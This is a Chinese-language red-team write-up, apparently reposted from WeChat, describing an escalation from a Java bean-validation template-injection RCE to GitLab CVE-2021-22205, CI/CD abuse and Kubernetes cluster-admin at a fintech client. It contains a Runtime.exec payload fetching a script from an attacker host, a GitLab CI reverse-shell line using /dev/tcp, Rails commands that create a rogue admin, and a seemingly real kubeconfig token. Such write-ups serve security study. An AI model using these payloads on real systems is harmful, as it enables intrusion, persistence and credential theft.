描述
在我最近为一家非常大的金融科技公司的红队参与中,我发现了一个 RCE 错误并登陆了一个非常受限的 docker 容器环境。我认为这是我所能做到的,但在 2-3 天后继续推动并寻找逃避容器的解决方案,我成功了,这条路最终将我带到了他们的云环境的 Cluster Admin。
总结一下,事情是这样的:
-
攻击者通过在 Web 应用程序中使用 RCE 漏洞登陆 docker 容器。
容器镜像非常受限,只microdnf安装了。
-
攻击者发现他可以访问容器内的一个完全不同的子网,并找到 Gitlab 实例的 IP 地址
-
攻击者发现 Gitlab 未打补丁并且容易受到 CVE-2021-22205 的攻击
-
攻击者获得对 Gitlab 和 Gitlab 数据库的访问权限,然后攻击者使用 Gitlab 管理员权限创建一个 repo 并创建一个 CI/CD 管道以移动到 Gitlab worker 实例
-
在 Gitlab worker 的节点中,攻击者发现了多个秘密、文件、API 密钥和kubeconfig。
更多细节如下。
1. 查找Java应用程序中的RCE错误
在对主应用程序进行渗透测试时,我发现了一个 API 端点
POST https://redacted.com/v1/api/create
此 API 用于在其系统中创建订单和付款。身体数据是这样的
{
"amount": "200",
"data": "",
"redirectUrl": ""
"orderInfo":"Could be anything"
"requestWith":"",
"signature":""
}
在尝试不同类型的 payload 时,我尝试了 SQLi、IDOR、XSS 等基本的 payload。但没有任何效果,直到我尝试了这个${7*7},一个经典的模板注入和后端服务器响应非常有趣。
来自服务器的响应:
{'responseTime': 109566832492, 'message': 'Bad format request.', 'resultCode': "x", 'subErrors': [{'field': 'signature', 'message': 'Invalid signature. Check raw signature before signed. Raw data before hash: accessKey=*****&amount=200&data=xxx&redirectUrl=https://c61sta92vtc0000v26yggdyh7feyyyyyb.interactsh.com&orderId=random-idf&orderInfo=49'}]}
orderInfo=49${7*7}
这就是我输入字段时服务器返回的内容orderInfo,所以我们不仅可以确认后端服务器容易受到模板注入错误的影响,我们还可以从服务器的响应中看到我们输入的结果,感觉就像打在这一点上的大奖。
通过我对客户资产以及客户基础设施所做的所有功课,我知道他们的大部分 Web 应用程序资产都是 Java Web 应用程序。所以我使用这个漏洞利用 payload 在客户端系统上获得了一个反向 shell:
{''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('curl <attacker_host:attacker_port>/backup.sh -o /tmp/backup.sh')
服务器响应:
{'responseTime': 1679566832492, 'message': 'Bad format request.', 'resultCode': "x", 'subErrors': [{'field': 'signature', 'message': 'Invalid signature. Check raw signature before signed. Raw data before hash: accessKey=*****&amount=2000&data=xxx&redirectUrl=https://c61sta92vtc0000v26yggdyh7feyyyyyb.interactsh.com&orderId=random-idf&orderInfo=start Process[pid=4024, exitValue="not exited"]'}]}
可以看到
Process[pid=4024, exitValue="not exited"]
,说明我已经成功创建了另一个进程并执行了命令
2.枚举网络并转至Gitlab实例
2.1 枚举网络
在对我刚刚登陆的客户端环境进行了一些基本枚举之后,我发现我处于一个非常受限制的环境中(在 kubernetes 中)。访问权限非常有限。
网络接口访问:
探索后端系统中的监听端口:
从这里,我知道我可以访问172.16.x.x子网。通过执行网络扫描和虚拟主机暴力破解,我发现了一个有趣的子域https://gitlab.company-domain.com.vn
2.2 利用gitlab实例
之前知道gitlab实例有很多CVE,但是作为攻击者,我没有gitlab账号可以访问,所以我需要找到一个未认证的代码执行漏洞,我尝试使用CVE-2021-22205来利用(利用脚本:https://github.com/mr-r3bot/Gitlab-CVE-2021-22205)
在这里,我已经成功入侵了 Gitlab 实例:
现在我可以控制 2 个目标:web 服务器和 gitlab 实例,但我仍然无法在公司的基础架构中站稳脚跟。
控制 gitlab 实例和 gitlab 的数据库是每个攻击者的梦想,如果你了解 CI/CD 及其配置,你就会知道 Gitlab CI/CD 管道在任何公司的基础设施中都是唾手可得的果实。
由于 CI/CD 流水线的特性,Gitlab 会要求 devops 工程师放入 secret,比如高权限的 Google 服务账号或者很多重要的秘钥。在 CI/CD 过程中,它需要生成一个新的 pod 来拉取源代码的图像来运行测试,或者配置的任何类型的 devops 操作。为了生成新的 pod,需要在 Kubernetes 环境中配置密钥或具有高权限的服务帐户。如果它们没有安全存储,一旦攻击者破坏了 CI/CD 管道,他/她就可以访问大量敏感数据
有了这些知识,我的目标是获得 Gitlab worker 实例的访问权限
3. 滥用 Gitlab CI/CD 管道获取 Gitlab worker 的访问权限
通过 Rails 控制台访问 Gitlab 数据库:
gitlab-rails console
进入后gitlab-rails console,我检查了 gitlab 设置并发现选项password_authentication_enabled_for_web: false,这意味着基本身份验证(用户名和密码)被禁用,它们被配置为仅通过 SSO 登录。
这对我来说将是一个大问题。为什么 ?
虽然我仍然可以通过利用 RCE 错误访问 Web 服务器,但这并不意味着我在目标中有稳定的立足点,因为 kubernetes 的性质,pod 只是产生和死亡取决于它们的扩展配置,所以我无法安装对目标的任何坚持。
转向 Gitlab 实例是一个好的开始,但是使用git系统中的默认用户,我也无法在目标上安装任何类型的持久性,因为git用户在系统中的权限非常有限。那么从这里去哪里呢?
在研究了几天维护访问权限的不同方法后,我发现维护目标访问权限的最佳方法之一是滥用 gitlab CI/CD 管道,我们可以在 gitlab 中创建一个 cron 作业并让它执行任何脚本我们放入.gitlab-ci.yml文件中。
请记住,基本身份验证选项已禁用,虽然我们可以创建具有管理员权限的新用户,但我们无法登录 gitlab。然后我发现了这篇很棒的博客文章,原来我们可以编辑password_authentication_enabled_for_web以true启用基本身份验证。
有了这些知识并可以访问 gitlab 的数据库,攻击者可以执行以下步骤来访问 gitlab CI/CD 管道:
-
创建一个具有管理员权限的新用户
irb(main):003:0 > user = User.create(:username => 'snovvcrash', :password => 'Passw0rd!', :password_confirmation => 'Passw0rd!', :admin => true, :name => 'snovvcrash', :email => '[email protected]')
-
使用刚刚创建的admin账号登录Gitlab(通过enable password_authentication_enabled_for_web: true:)
Gitlab::CurrentSettings.update!(password_authentication_enabled_for_web: true)
-
创建存储库
-
设置流水线 CI/CD
-
将bash脚本注入文件.gitlab-ci.yml,尤其是before_scripthook
上述所有操作都可以通过使用管理令牌调用 Gitlab REST API 来实现
image: ubuntu:latest
before_script:
- bash -i >& /dev/tcp/${host}/${port} 0>&1
after_script:
- echo "After script section"
- echo "For example you might do some cleanup here"
deploy1:
stage: deploy
script:
- echo "Do your deploy here"
当管道被触发时,我将获得对 gitlab worker 的访问权限:
在目标内部站稳脚跟后,我开始枚举环境并寻找敏感数据。我尝试的第一件事是$ env,令我惊讶的是,所有敏感数据都存储在环境变量中。
通过提取此 pod 中的 env 变量,我能够访问 Kubernetes 环境中的所有内容,包括:
-
Kubeconfig 文件
-
Docker 授权文件
-
gcloud spinaker 服务帐户
GCR_PUSH_KEY={
"type": "service_account",
"project_id": "redacted",
"private_key_id": "redactedxxxx",
"private_key": "xxxxx",
"client_email": "[email protected]",
"client_id": "redacted",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/spinnaker-gcs-account%40redacted.iam.gserviceaccount.com"
}
apiVersion: v1
clusters:
cluster:
xxx :
server: https://redacted/k8s/clusters/c-6vzqn
name: spinnaker-prod
contexts:
context:
cluster: spinnaker-prod
user: spinnaker-prod
name: spinnaker-prod
spinnaker-prod :
kind: Config
preferences: {}
users:
name: spinnaker-prod
user:
token: kubeconfig-u-59lxx.c-6vzqn:gvwcmcs9rnpkwknb99s5c9b2pdtqkmtlplf5ppndl6pxc7k6slnkkg
获取对 Google Container Registry 的访问权限:
$ gcloud auth activate-service-account [email protected] --key-file=GCR_PUSH_KEY-serviceaccount.json
Activated service account credentials for: [[email protected]]
gcloud container images list --repository=redacted
就这样,我能够完全控制客户的云基础设施
4. 逃逸到worker节点,找到RCE根因
在获得对 Kubeconfig 文件的访问权限后,很容易逃逸到工作节点。我们需要做的就是创建一个特权 pod,然后我们可以从那里逃逸到工作节点,当我们处于特权状态时,有许多不同的方法可以从容器中逃逸。我用的是的方法
进一步探索客户的资产超出了范围,所以我在获得对 Kubernetes 工作节点的访问权限后向客户报告并请求许可我是否可以克隆或导出易受攻击的 Web 应用程序的源代码以了解模板注入错误的根本原因,幸运的是他们对此没有意见,所以我可以更好地了解发生的事情。
令我惊讶的是,这并不是我想象的 100% 模板注入错误,而是Bean 验证错误,易受攻击的代码如下所示:
@Override
public boolean isValid(String object, ConstraintValidatorContext constraintContext) {
if ( object == null ) {
return true;
}
boolean isValid;
String message = object;
if ( caseMode == CaseMode.UPPER ) {
isValid = object.equals( object.toUpperCase() );
message = message + " should be in upper case."
}
else {
isValid = object.equals( object.toLowerCase() );
message = message + " should be in lower case."
}
if ( !isValid ) {
constraintContext.disableDefaultConstraintViolation();
constraintContext.buildConstraintViolationWithTemplate(message)
.addConstraintViolation();
因为我可以控制变量message,所以我可以将有效负载注入到buildConstraintViolationWithTemplate()函数中,该函数最终将被评估并导致远程代码执行
参考:
https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
https://ppn.snovvcrash.rocks/pentest/infrastructure/devops/gitlab#gitlab-rails
https://securitylab.github.com/research/bean-validation-RCE/
原文始发于微信公众号(红队笔记录):红队:从 RCE 到完全控制云基础设施的旅程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论